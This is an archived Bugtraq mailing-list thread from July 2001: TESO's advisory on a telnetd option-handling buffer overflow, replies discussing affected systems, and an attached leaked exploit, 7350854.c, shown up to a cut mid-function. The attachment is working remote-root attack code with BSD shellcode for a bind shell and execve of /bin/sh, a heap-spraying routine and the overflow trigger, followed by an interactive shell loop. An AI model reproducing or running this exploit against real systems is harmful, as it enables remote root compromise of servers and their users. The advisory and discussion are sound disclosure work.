6767287 2001-07-18 22:15 +0200  /177 rader/ Sebastian <scut@nb.in-berlin.de>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-19  06:00  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18099>
Ärende: multiple vendor telnet daemon vulnerability
------------------------------------------------------------


This is a short version of the original advisory. Most details about
exploiting this vulnerabilty have been removed after thinking about
it.

I do not release it because it makes me happy, and I would like you
to please not assume things about the reasons involving this
posting. I wish things would have worked out better for all of us. I
do not want to get that much involved into disclosure policies, but I
am sure a lot of advocates from both sides are going to flame me
about this one. Please save yourself and me the time, I could not
care less.

A few days ago some script kiddies have somehow got access to a copy
of an exploit for this vulnerability. I do not know how it happened,
but while I write this dozen of BSD hosts fall victim to clueless
attackers. And please, again, I would like to ask you to not assume
and speculate how this might has happened.
   The copy of the exploit was quite script-kiddie safe and requires
no fiddling. It works out of the box. Please patch fast, or better
disable telnetd at all.

Btw, I do not think a simple patch will do it anyway, there are so
many horrible bugs - also non security related - in telnetd beside
this one. Just send some random junk at telnetd and see it die if you
do not believe me.


ciao,
-scut

------

TESO Security Advisory
07/18/2001

Multiple vendor Telnet Daemon vulnerability


Summary
===================

    Within most of the current telnet daemons in use today there
    exist a buffer overflow in the telnet option handling. Under
    certain circumstances it may be possible to exploit it to gain
    root priviledges remotely.


Systems Affected
===================

    System                                  | vulnerable   | exploitable *
    ----------------------------------------+--------------+------------------
    BSDI 4.x default                        |      yes     |       yes
    FreeBSD [2345].x default                |      yes     |       yes
    IRIX 6.5                                |      yes     |        no
    Linux netkit-telnetd < 0.14             |      yes     |        ?
    Linux netkit-telnetd >= 0.14            |       no     |
    NetBSD 1.x default                      |      yes     |       yes
    OpenBSD 2.x                             |      yes     |        ?
    OpenBSD current                         |       no     |
    Solaris 2.x sparc                       |      yes     |        ?
    <almost any other vendor's telnetd>     |      yes     |        ?
    ----------------------------------------+--------------+------------------

    * = From our analysis and conclusions, which may not be correct or we may
        have overseen things. Do not rely on this.

    Details about the systems can be found below.


Impact
===================

    Through sending a specially formed option string to the remote
    telnet daemon a remote attacker might be able to overwrite
    sensitive information on the static memory pages. If done
    properly this may result in arbitrary code getting executed on
    the remote machine under the priviledges the telnet daemon runs
    on, usually root.


Explanation
===================

    Within every BSD derived telnet daemon under UNIX the telnet
    options are processed by the 'telrcv' function. This function
    parses the options according to the telnet protocol and its
    internal state. During this parsing the results which should be
    send back to the client are stored within the 'netobuf'
    buffer. This is done without any bounds checking, since it is
    assumed that the reply data is smaller than the buffer size
    (which is BUFSIZ bytes, usually).

    However, using a combination of options, especially the 'AYT' Are
    You There option, it is possible to append data to the buffer,
    usually nine bytes long. To trigger this response, two bytes in
    the input buffer are necessary. Since this input buffer is BUFSIZ
    bytes long, you can exceed the output buffer by as much as
    (BUFSIZ / 2) * 9) - BUFSIZ bytes. For the common case that BUFSIZ
    is defined to be 1024, this results in a buffer overflow by up to
    3584 bytes.  On systems where BUFSIZ is defined to be 4096, this
    is an even greater value (14336).

    Due to the limited set of characters an attacker is able to write
    outside of the buffer it is difficult - if not impossible on some
    systems - to exploit this buffer overflow. Another hurdle for a
    possible attacker may be the lack of interesting information to
    modify after the buffer.

    This buffer overflow should be considered serious nevertheless,
    since experience has shown that even complicated vulnerabilities
    can be exploited by skilled attackers, BIND TSIG and SSH deattack
    come to mind.

    We have constructed a working exploit for any version of BSDI,
    NetBSD and FreeBSD. Exploitation on Solaris sparc may be possible
    but if it is, it is very difficult involving lots of arcane
    tricks. OpenBSD is not as easily exploitable as the other BSD's,
    because they do compile with other options by default, changing
    memory layout.


Solution
===================

    The vendors have been notified of the problem at the same time as
    the general public, vendor patches for your telnet daemon that
    fix the bug will show up soon.

    Sometimes a fix might not be trivial and require a lot of changes
    to the source code, due to the insecure nature the 'nfrontp'
    pointer is handled.  The best long term solution is to disable
    the telnet daemon at all, since there are good and free
    replacements.


Acknowledgements
===================

    The bug has been discovered by scut. (It is easy to spot, so I do
    not want to rule out discoveries by other persons)

    The tests and further analysis were done by smiler, lorian, zip
and scut.


Contact Information
===================

    The TESO crew can be reached by mailing to teso@team-teso.net
    Our web page is at http://www.team-teso.net/


References
===================

    [1] TESO
        http://www.team-teso.net/


Disclaimer
===================

    This advisory does not claim to be complete or to be usable for
    any purpose. Especially information on the vulnerable systems may
    be inaccurate or wrong. Possibly supplied exploit code is not to
    be used for malicious purposes, but for educational purposes only.

    This advisory is free for open distribution in unmodified form.
    Articles that are based on information from this advisory should
    include link [1].


Exploit
===================

    Not this time. Not here.

------


-- 
-. scut@nb.in-berlin.de -. + http://segfault.net/~scut/ `--------------------.
-' segfault.net/~scut/pgp `' 5453 AC95 1E02 FDA7 50D2 A42D 427E 6DEF 745A 8E07
`- AFIWC control and information seized. awaiting orders. hi echelon --------'
(6767287) /Sebastian <scut@nb.in-berlin.de>/(Ombruten)
Bilaga (application/pgp-signature) i text 6767288
Kommentar i text 6790124 av Steffen Kluge <kluge@fujitsu.com.au>
6767288 2001-07-18 22:15 +0200  /10 rader/ Sebastian <scut@nb.in-berlin.de>
Importerad: 2001-07-19  06:00  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18100>
Bilaga (text/plain) till text 6767287
Ärende: Bilaga till: multiple vendor telnet daemon vulnerability
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7Ve5NQn5t73RajgcRAnN7AKDS0wmMSpwu29J9jdBiuu59GXZGaQCghSjc
VqoGwd+UxWuDFqEvPz3CuuU=
=+r9F
-----END PGP SIGNATURE-----
(6767288) /Sebastian <scut@nb.in-berlin.de>/--------
6790124 2001-07-24 16:55 +1000  /42 rader/ Steffen Kluge <kluge@fujitsu.com.au>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-24  17:45  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18290>
Kommentar till text 6767287 av Sebastian <scut@nb.in-berlin.de>
Ärende: Re: multiple vendor telnet daemon vulnerability
------------------------------------------------------------
From: Steffen Kluge <kluge@fujitsu.com.au>
To: bugtraq@securityfocus.com
Cc: bugtraq@securityfocus.com
Message-ID: <20010724165549.A2217@syd0128.fujitsu.com.au>

On Wed, Jul 18, 2001 at 10:15:10PM +0200, Sebastian wrote:
> TESO Security Advisory
> 07/18/2001
> [...]
> Multiple vendor Telnet Daemon vulnerability
> 
> Systems Affected
> ===================
> 
>     System                                  | vulnerable   | exploitable *
>     ----------------------------------------+--------------+------------------
>     BSDI 4.x default                        |      yes     |       yes
>     FreeBSD [2345].x default                |      yes     |       yes
>     IRIX 6.5                                |      yes     |        no
>     Linux netkit-telnetd < 0.14             |      yes     |        ?
>     Linux netkit-telnetd >= 0.14            |       no     |
>     NetBSD 1.x default                      |      yes     |       yes
>     OpenBSD 2.x                             |      yes     |        ?
>     OpenBSD current                         |       no     |
>     Solaris 2.x sparc                       |      yes     |        ?
>     <almost any other vendor's telnetd>     |      yes     |        ?
>     ----------------------------------------+--------------+------------------

Is there a test available that would allow verification of
vulnerability on various platforms? I'm thinking of network
devices like routers, do their telnet servers tend to be based
on the vulnerable code base?

Having to upgrade hundreds of Cisco routers, for example, would
be a major nightmare, given that secure implementations of SSH on
IOS have only recently become available, and the associated 50/50
chance of breaking things that comes with every IOS upgrade.

Regards
Steffen.
(6790124) /Steffen Kluge <kluge@fujitsu.com.au>/----
Kommentar i text 6791476 av Kris Kennaway <kris@obsecurity.org>
6791476 2001-07-24 14:51 -0700  /43 rader/ Kris Kennaway <kris@obsecurity.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-25  00:01  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18316>
Kommentar till text 6790124 av Steffen Kluge <kluge@fujitsu.com.au>
Ärende: Re: multiple vendor telnet daemon vulnerability
------------------------------------------------------------
On Tue, Jul 24, 2001 at 04:55:49PM +1000, Steffen Kluge wrote:

> >     OpenBSD current                         |       no     |
                                                       ^^^^
I'm not so sure about this one.  OpenBSD-current (post 2.9) contains
the heimdal telnetd code, which incompletely fixes the handling of the
output buffers (under certain conditions it looks like the buffers can
still be overflowed).  The initial (unofficial) patch posted to the
FreeBSD-security list last week was also a port of the heimdal telnetd
code with the same (flawed) semantics for output_data() and
netflush(), and I had a report yesterday of someone being compromised
with that preliminary patch in place.  The official patch published
with our advisory is believed to fix things properly.

OpenBSD 2.9's telnetd is also full of code like this:

        if (TELOPT_OK(option))
                sprintf(nfrontp, "%s %s\r\n", fmt, TELOPT(option));
        else if (TELCMD_OK(option))
                sprintf(nfrontp, "%s %s\r\n", fmt, TELCMD(option));
        else
                sprintf(nfrontp, "%s %d\r\n", fmt, option);
        nfrontp += strlen(nfrontp);
        return;

which is the signature of the problem reported by TESO.  I wouldn't be
at all surprised if there were further problems there.  For the sake
of the OpenBSD users this needs to be investigated further.

> >     Solaris 2.x sparc                       |      yes     |        ?
> >     <almost any other vendor's telnetd>     |      yes     |        ?
> >     ----------------------------------------+--------------+------------------
> 
> Is there a test available that would allow verification of
> vulnerability on various platforms? I'm thinking of network
> devices like routers, do their telnet servers tend to be based
> on the vulnerable code base?

Chances are, yes.  The vulnerability goes back at least to 4.2BSD.

Kris
(6791476) /Kris Kennaway <kris@obsecurity.org>/-----
Bilaga (application/pgp-signature) i text 6791477
Kommentar i text 6791794 av Kris Kennaway <kris@obsecurity.org>
6791477 2001-07-24 14:51 -0700  /10 rader/ Kris Kennaway <kris@obsecurity.org>
Importerad: 2001-07-25  00:01  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18317>
Bilaga (text/plain) till text 6791476
Ärende: Bilaga till: Re: multiple vendor telnet daemon vulnerability
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQE7Xe3bWry0BWjoQKURAos1AKDVl2rf2pQKeGl/WWBEac9WwW2F8wCgv+MI
fk3NMg/2D7rLjHlF0ffi5fQ=
=NDX2
-----END PGP SIGNATURE-----
(6791477) /Kris Kennaway <kris@obsecurity.org>/-----
6791794 2001-07-24 16:11 -0700  /25 rader/ Kris Kennaway <kris@obsecurity.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-25  02:04  av Brevbäraren
Extern mottagare: Kris Kennaway <kris@obsecurity.org>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18322>
Kommentar till text 6791476 av Kris Kennaway <kris@obsecurity.org>
Ärende: Re: multiple vendor telnet daemon vulnerability
------------------------------------------------------------
On Tue, Jul 24, 2001 at 02:51:24PM -0700, Kris Kennaway wrote:

> > >     Solaris 2.x sparc                       |      yes     |        ?
> > >     <almost any other vendor's telnetd>     |      yes     |        ?
> > >     ----------------------------------------+--------------+------------------
> > 
> > Is there a test available that would allow verification of
> > vulnerability on various platforms? I'm thinking of network
> > devices like routers, do their telnet servers tend to be based
> > on the vulnerable code base?
> 
> Chances are, yes.  The vulnerability goes back at least to 4.2BSD.

I was just talking to David Borman from BSDi about this.  Apparently
the vulnerability discovered by TESO was introduced around the 4.3BSD
timeframe, since it requires passing exploit code in via environment
variables (the relevant telnet option to do this wasn't around before
then).  The 4.2BSD code plays the same dangerous games with sprintf()
and manually incrementing the nfrontp pointer, but in the absence of a
way to inject your shellcode all you can probably do it crash the
telnetd.

Kris
(6791794) /Kris Kennaway <kris@obsecurity.org>/-----
Bilaga (application/pgp-signature) i text 6791795
Kommentar i text 6796599 av Chad Loder <cloder@acm.org>
6791795 2001-07-24 16:11 -0700  /10 rader/ Kris Kennaway <kris@obsecurity.org>
Importerad: 2001-07-25  02:04  av Brevbäraren
Extern mottagare: Kris Kennaway <kris@obsecurity.org>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18323>
Bilaga (text/plain) till text 6791794
Ärende: Bilaga till: Re: multiple vendor telnet daemon vulnerability
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQE7XgCnWry0BWjoQKURAn2nAKChnjQxKQaO9SvKUf0w2G1jKd5XDQCdGx5W
lIykpTSVo/fjq2AbslkCD8A=
=QWfu
-----END PGP SIGNATURE-----
(6791795) /Kris Kennaway <kris@obsecurity.org>/-----
6796599 2001-07-24 21:55 -0700  /19 rader/ Chad Loder <cloder@acm.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-26  01:17  av Brevbäraren
Extern mottagare: Kris Kennaway <kris@obsecurity.org>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18362>
Kommentar till text 6791794 av Kris Kennaway <kris@obsecurity.org>
Ärende: Re: multiple vendor telnet daemon vulnerability
------------------------------------------------------------
From: Chad Loder <cloder@acm.org>
To: Kris Kennaway <kris@obsecurity.org>
Cc: bugtraq@securityfocus.com
Message-ID: <5.1.0.14.2.20010724215122.00a89ff8@pop-server.socal.rr.com>

AFAIK, telnet is a symmetric protocol, i.e. there
is no real difference between servers and clients
from telnet's point of view.

I wonder if telnet clients are vulnerable to this
or similar option-negotiation buffer overflows.

===================
Chad Loder
Principal Engineer
Rapid 7, Inc.
===================
(6796599) /Chad Loder <cloder@acm.org>/-------------
6790059 2001-07-24 07:59 +0200  /877 rader/ cami <camis@mweb.co.za>
Bilagans filnamn: "7350854.c"
Importerad: 2001-07-24  17:32  av Brevbäraren
Extern mottagare: vulnwatch@vulnwatch.org
Extern mottagare: vuln-dev@securityfocus.com
Extern mottagare: PEN-TEST@securityfocus.com
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18288>
Bilaga (text/plain) till text 6790058
Ärende: Bilaga (7350854.c) till: telnetd exploit code
------------------------------------------------------------
/* 7350854 - x86/bsd telnetd remote root exploit
 *
 * TESO CONFIDENTIAL - SOURCE MATERIALS
 *
 * This is unpublished proprietary source code of TESO Security.
 *
 * The contents of these coded instructions, statements and computer
 * programs may not be disclosed to third parties, copied or duplicated in
 * any form, in whole or in part, without the prior written permission of
 * TESO Security. This includes especially the Bugtraq mailing list, the
 * www.hack.co.za website and any public exploit archive.
 *
 * (C) COPYRIGHT TESO Security, 2001
 * All Rights Reserved
 *
 *****************************************************************************
 * bug found by scut 2001/06/09
 * further research by smiler, zip, lorian and me.
 * thanks to zip's cool friend for giving me a testbed to play on
 *
 * tested against: BSDI BSD/OS 4.1
 *                 NetBSD 1.5
 *                 FreeBSD 3.1
 *                 FreeBSD 4.0-REL
 *                 FreeBSD 4.2-REL
 *                 FreeBSD 4.3-BETA
 *                 FreeBSD 4.3-STABLE
 *                 FreeBSD 4.3-RELEASE
 *
 */

#define VERSION "0.0.7"

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>


/* global variables, uhhohh!
 */
int     mode = 16;
int     num = 245;
int     pop = 31500;    /* puts code at 0x08fdff0a */
int     bs = 1;         /* buffer start */

int     num34 = 244;
int     pop34 = 71833;  /* puts code at 0x0a0d08fe */
int     bs34 = 0;

int     walk;           /* populator walker */
int     force = 0;      /* force exploitation */
int     checkonly = 0;  /* check telnetd only */


void usage (char *progname);
int xp_check (int fd);
void xp_pop (int fd);
void xp_shrinkwin (int fd);
void xp_setenv (int fd, unsigned char *var, unsigned char *val);
void xp (int fd);
void shell (int sock);
void hexdump (char *desc, unsigned char *data, unsigned int amount);

/* imported from shellkit */
unsigned long int random_get (unsigned long int low, unsigned long int high);
void random_init (void);
int bad (unsigned char u);
int badstr (unsigned char *code, int code_len, unsigned char *bad,
        int bad_len);
unsigned long int x86_nop_rwreg (void);
unsigned long int x86_nop_xfer (char *xferstr);
unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
        unsigned char *bad, int bad_len);

#define BSET(dest, len, val, bw) { \
        dest &= ~(((unsigned char) ~0) >> bw);  /* clear lower bits */ \
        dest |= val << (8 - bw - len);          /* set value bits */ \
        bw += len; \
}

/* imported from network.c */
#define NET_CONNTIMEOUT 60
int     net_conntimeout = NET_CONNTIMEOUT;

unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, int sec);


/* x86/bsd PIC portshell shellcode
 * by lorian/teso
 * port 0x4444 (might want to change it here)
 */
unsigned char   x86_bsd_portshell[] =
        "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
        "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
                                /* ^^  ^^ port */
        "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
        "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
        "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
        "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
        "\x80";

/* x86/bsd PIC execve shellcode
 * by lorian/teso
 */
unsigned char   x86_bsd_execvesh[] =
        "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
        "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";

/* x86/bsd(i)+solaris execve shellcode
 * by lorian/teso
 */
unsigned char   x86_bsd_compaexec[] =
    "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
    "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
    "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
    "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";


unsigned char * shellcode = x86_bsd_compaexec;


#define COL 55


void
usage (char *progname)
{
        fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
        fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
                "-c\tcheck exploitability only, do not exploit\n"
                "-f\tforce mode, override check results\n\n");
        fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
                        "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
                        "take that, or it will take very long for it (> 1h). beware.\n\n");

        fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
                        "\tNetBSD 1.5\n"
                        "\tBSDI BSD/OS 4.1\n\n");

        exit (EXIT_FAILURE);
}

int
main (int argc, char *argv[])
{
        char                    c;
        char *                  progname;
        char *                  dest;
        int                     i, j, fd,
                                dots = 0;
        int                     popc;
        struct timeval          start,
                                cur;
        unsigned long long int  g_pct,  /* gaussian percentage */
                                g_all;  /* gaussian overall */


        fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
                "by zip, lorian, smiler and scut.\n\n");

        progname = argv[0];
        if (argc < 2)
                usage (progname);


        while ((c = getopt (argc, argv, "n:cf")) != EOF) {
                switch (c) {
                case 'n':
                        num = atoi (optarg);
                        break;
                case 'c':
                        checkonly = 1;
                        break;
                case 'f':
                        force = 1;
                        break;
                default:
                        usage (progname);
                        break;
                }
        }

        dest = argv[argc - 1];
        if (dest[0] == '-')
                usage (progname);

        fd = net_connect (NULL, dest, 23, 20);
        if (fd <= 0) {
                fprintf (stderr, "failed to connect\n");
                exit (EXIT_FAILURE);
        }

        random_init ();

        if (xp_check (fd) == 0 && force == 0) {
                printf ("aborting\n");
#ifndef DEBUG
                exit (EXIT_FAILURE);
#endif
        }
        close (fd);

        if (checkonly)
                exit (EXIT_SUCCESS);

        fd = net_connect (NULL, dest, 23, 20);
        if (fd <= 0) {
                fprintf (stderr, "failed to connect the second time\n");
                exit (EXIT_FAILURE);
        }

        printf ("\n#############################################################################\n\n");
        printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
                "telnet daemon process, it will spill badly. but then, there is no\n"
                "other way, sorry...\n\n", mode);

#ifdef DEBUG
        getchar ();
#endif
        printf ("## setting populators to populate heap address space\n");

        g_all = ((unsigned long long int)(pop / 2)) *
                        ((unsigned long long int)(pop + 1));
        g_pct = 0;

        printf ("## number of setenvs (dots / network): %d\n", pop);
        printf ("## number of walks (percentage / cpu): %Lu\n",
        g_all); printf ("##\n"); printf ("## the percentage is more
        realistic than the dots ;)\n"); printf ("\n"); printf
        ("percent |");

        popc = pop / COL;
        for (i = pop / popc ; i >= 0 ; --i)
                printf ("-");
        printf ("|      ETA |\n");

        gettimeofday (&start, NULL);

        for (walk = 0 ; walk < pop ; ++walk) {
                xp_pop (fd);

                g_pct += walk;

                if (walk % popc == 0)
                        dots += 1;

                if (walk % 200 == 0) {
                        int                     pct;
                        float                   pct_f;
                        unsigned long int       diff;

                        pct = (int) ((g_pct * 100) / g_all);
                        pct_f = g_pct * 100;
                        pct_f /= (float) g_all;

                        /* calculate difference not caring about accuracy */
                        gettimeofday (&cur, NULL);
                        diff = cur.tv_sec - start.tv_sec;

                        printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
                                "\r %2.2f%% |" : "\r  %1.2f%% |"), pct_f);
                        for (j = 0 ; j < dots ; ++j)
                                printf (".");
                        for ( ; j <= COL ; ++j)
                                printf (" ");

                        if (pct != 0) {
                                diff = (int) ((((float)(100 - pct_f)) /
                                        (float) pct_f) * diff);
                                printf ("| %02lu:%02lu:%02lu |",
                                        diff / 3600, (diff % 3600) / 60,
                                        diff % 60);
                        } else {
                                printf ("| --:--:-- |");
                        }

                        fflush (stdout);
                }
        }
        printf ("\n\n");

        printf ("## sleeping for 10 seconds to let the process
        recover\n"); sleep (10);

#ifdef DEBUG
        getchar ();
#endif
        /* return into 0x08feff0a */
        xp (fd);
        sleep (1);

        printf ("## ok, you should now have a root shell\n"); printf
        ("## as always, after hard times, there is a reward...\n");
        printf ("\n\ncommand: "); fflush (stdout);

        shell (fd);

        exit (EXIT_SUCCESS);
}


void
xp (int fd)
{
        int             n;
        unsigned char   buf[2048];


        /* basic overflow */
        for (n = bs ; n < sizeof (buf) ; ++n)
                buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';

        /* some nifty alignment */
        buf[0] = '\xff';        /* IAC */
        buf[1] = '\xf5';        /* AO  */

        if (mode == 16) {
                buf[2] = '\xff';        /* IAC */
                buf[3] = '\xfb';        /* WILL */
                buf[4] = '\x26';        /* ENCRYPTION */
        }

        /* force 0x08feff0a as return */
        buf[num++] = '\xff';
        buf[num++] = '\xfb';
        buf[num++] = '\x08';

        /* and the output_encrypt overwrite action, yay! */
        buf[num++] = '\xff';
        buf[num++] = '\xf6';

        /* XXX: should not fail here, though we should better loop and check */
        n = send (fd, buf, num, 0);
        if (n != num) {
                perror ("xp:send");
        }
}


#ifdef INSANE_MIND

void
xp_shrinkwin (int fd)
{
        int             n;
        int             iobc;
        int             p = 0;
        unsigned char   buf[2048];
        char            c;
        int             val;
        int             len;

        for (n = 0 ; n < sizeof (buf) ; ++n)
                buf[n] = n % 2 ? '\xf6' : '\xff';

        len = sizeof (val);
        getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
        printf ("SO_SNDLOWAT = %d\n", val);
        val = 1;
        printf ("setsockopt: %s\n",
                setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
                "FAILED" : "SUCCESS");
        val = 1234;
        getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
        printf ("SO_SNDLOWAT = %d\n", val);

        getchar();
        while (1) {
                if (p > 105)
                        c = getchar();
                if (c == 'r') {
                        getchar();
                        read (fd, &buf[1024], 384);
                } else if (c == 'o') {
                        getchar();
                        send (fd, "7", 1, MSG_OOB);
                } else if (c != 'r') {
                        usleep(100000);
                        n = send (fd, buf, 112, 0);
                        ioctl (fd, FIONREAD, &iobc);
                        len = sizeof (val);
                        getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
                        printf ("%02d. send: %d  local: %d/%d (%d left)\n",
                                ++p, n, iobc, val, val - iobc);
                }
        }
}
#endif


/* xp_pop - populator function
 *
 * causes remote telnet daemon to setenv() variables with our content, populating
 * the heap with shellcode. this will get us more nopspace and place our shellcode
 * where the nice addresses are, that we can create by writing telnet option
 * strings.
 *
 * XXX: there seems to be a maximum size for the environment value you can set,
 *      which is 510. we use 496 bytes for nopspace and shellcode therefore.
 *      should work, rather similar to tsig tcp/malloc exploitation. -sc
 */

void
xp_pop (int fd)
{
        unsigned char   var[16];
        unsigned char   storebuf[496];
        sprintf (var, "%06x", walk);
#ifdef DEBUG
        memset (storebuf, '\xcc', sizeof (storebuf));
#else
/*      memset (storebuf, '\x90', sizeof (storebuf));   */
        x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
        memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
                shellcode, strlen (shellcode));
#endif
        storebuf[sizeof (storebuf) - 1] = '\0';

        xp_setenv (fd, var, storebuf);
}


void
xp_setenv (int fd, unsigned char *var, unsigned char *val)
{
        int             n = 0;
        unsigned char   buf[2048];

        buf[n++] = IAC;
        buf[n++] = SB;
        buf[n++] = TELOPT_NEW_ENVIRON;
        buf[n++] = TELQUAL_IS;
        buf[n++] = ENV_USERVAR;

        /* should not contain < 0x04 */
        while (*var) {
                if (*var == IAC)
                        buf[n++] = *var;
                buf[n++] = *var++;
        }
        buf[n++] = NEW_ENV_VALUE;
        while (*val) {
                if (*val == IAC)
                        buf[n++] = *val;
                buf[n++] = *val++;
        }
        buf[n++] = IAC;
        buf[n++] = SE;

        if (send (fd, buf, n, 0) != n) {
                perror ("xp_setenv:send");
                exit (EXIT_FAILURE);
        }
}


int
xp_check (int fd)
{
        int             n;
        unsigned int    expect_len = 15;
        unsigned char   expected[] =
                "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
                /* \r  \n  [   Y   e   s   ]   \r  \n IAC DONT 08 IAC DO 26*/
        unsigned int    additional_len = 8;
        unsigned char   additional[] =
                "\xff\xfa\x26\x01\x01\x02\xff\xf0";
                /*IAC SB  ENC ........... IAC SE */

        unsigned char   buf[128];

        read (fd, buf, sizeof (buf));

        n = 0;
        buf[n++] = IAC;                 /* 0xff */
        buf[n++] = AYT;                 /* 0xf6 */

        buf[n++] = IAC;                 /* 0xff */
        buf[n++] = WILL;                /* 0xfb */
        buf[n++] = TELOPT_NAOL;         /* 0x08 */

        buf[n++] = IAC;                 /* 0xff */
        buf[n++] = WILL;                /* 0xfb */
        buf[n++] = TELOPT_ENCRYPT;      /* 0x26 */

#ifdef DEBUG
        hexdump ("check send buffer", buf, n);
#endif
        if (send (fd, buf, n, 0) != n) {
                perror ("xp_check:send");
                exit (EXIT_FAILURE);
        }

        n = read (fd, buf, sizeof (buf));
#ifdef DEBUG
        hexdump ("check recv buffer", buf, n);
#endif

        if (memcmp (buf, expected, expect_len) == 0) {
                if (memcmp (buf+expect_len, additional, additional_len) == 0) {
                        mode = 16;
                } else {
                        mode = 34;
                        bs = bs34;
                }
                printf ("check: PASSED, using %dmb mode\n", mode);

                return (1);
        }

        printf ("check: FAILED\n");

        return (0);
}


void
shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                perror ("read user");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l <= 0) {
                                perror ("read remote");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}


/* ripped from zodiac */
void
hexdump (char *desc, unsigned char *data, unsigned int amount)
{
        unsigned int    dp, p;  /* data pointer */
        const char      trans[] =
                "................................ !\"#$%&'()*+,-./0123456789"
                ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
                "nopqrstuvwxyz{|}~...................................."
                "....................................................."
                "........................................";


        printf ("/* %s, %u bytes */\n", desc, amount);

        for (dp = 1; dp <= amount; dp++) {
                fprintf (stderr, "%02x ", data[dp-1]);
                if ((dp % 8) == 0)
                        fprintf (stderr, " ");
                if ((dp % 16) == 0) {
                        fprintf (stderr, "| ");
                        p = dp;
                        for (dp -= 16; dp < p; dp++)
                                fprintf (stderr, "%c", trans[data[dp]]);
                        fflush (stderr);
                        fprintf (stderr, "\n");
                }
                fflush (stderr);
        }
        if ((amount % 16) != 0) {
                p = dp = 16 - (amount % 16);
                for (dp = p; dp > 0; dp--) {
                        fprintf (stderr, "   ");
                        if (((dp % 8) == 0) && (p != 8))
                                fprintf (stderr, " ");
                        fflush (stderr);
                }
                fprintf (stderr, " | ");
                for (dp = (amount - (16 - p)); dp < amount; dp++)
                        fprintf (stderr, "%c", trans[data[dp]]);
                fflush (stderr);
        }
        fprintf (stderr, "\n");

        return;
}



unsigned long int
net_resolve (char *host)
{
        long            i;
        struct hostent  *he;

        i = inet_addr(host);
        if (i == -1) {
                he = gethostbyname(host);
                if (he == NULL) {
                        return (0);
                } else {
                        return (*(unsigned long *) he->h_addr);
                }
        }
